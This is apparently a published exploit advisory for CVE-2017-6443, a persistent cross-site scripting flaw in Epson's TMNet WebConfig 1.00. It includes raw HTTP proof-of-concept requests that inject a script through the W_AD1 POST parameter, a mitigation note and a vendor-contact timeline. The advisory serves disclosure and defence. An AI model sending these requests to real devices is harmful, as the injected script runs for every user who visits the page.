Summary: Persistent cross-site scripting (XSS) in the web interface of Epson's TMNet WebConfig Ver 1.00 application allows a remote attacker to introduce arbitary Javascript via manipulation of an unsanitized POST parameter. ------------------------------------------------------------------------ Vendor: EPSON ------------------------------------------------------------------------ Software Link: https://c4b.epson-biz.com/modules/community/index.php?content_id=50 ------------------------------------------------------------------------ Version: 1.00 ------------------------------------------------------------------------ Identifier: CVE-2017-6443 ------------------------------------------------------------------------ Exploit Author: Michael Benich Contact: benichmt1 [at] protonmail.com or @benichmt1 ------------------------------------------------------------------------ PoC: 1) Make a POST request using a proxy application like Burp ------------------------------------------------------------------------ POST /Forms/oadmin_1 HTTP/1.1 Host: XXX.XXX.XXX.XXX User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://XXX.XXX.XXX.XXX/oadmin.htm Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 47 W_AD1=<script>window.alert(0)</script>&W_Link1=&Submit=SUBMIT ------------------------------------------------------------------------ 2) Browsing to the main page will execute your script. This remains persistent for any user who then visits this page. GET /istatus.htm HTTP/1.1 Host: XXX.XXX.XXX.XXX User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://XXX.XXX.XXX.XXX/side.htm Connection: close Upgrade-Insecure-Requests: 1 ------------------------------------------------------------------------ Mitigation: The application by default ships without a password - consider adding strong authentication to this portal. ------------------------------------------------------------------------ Timeline: ------------------------------------------------------------------------ 12/1/2016 - Discovery. 12/9/2016 - Emailed support@ , info@ , and domain-admin@ emails. No response. 12/16/2016 - Pinged on Twitter. Recommended to contact through support. 12/22/2016 - Reached on LinkedIn directly to individual listed as Security Engineer and asked to find proper security contact channel. No response, but the connection request was accepted. 3/3/2017 - Disclosure ------------------------------------------------------------------------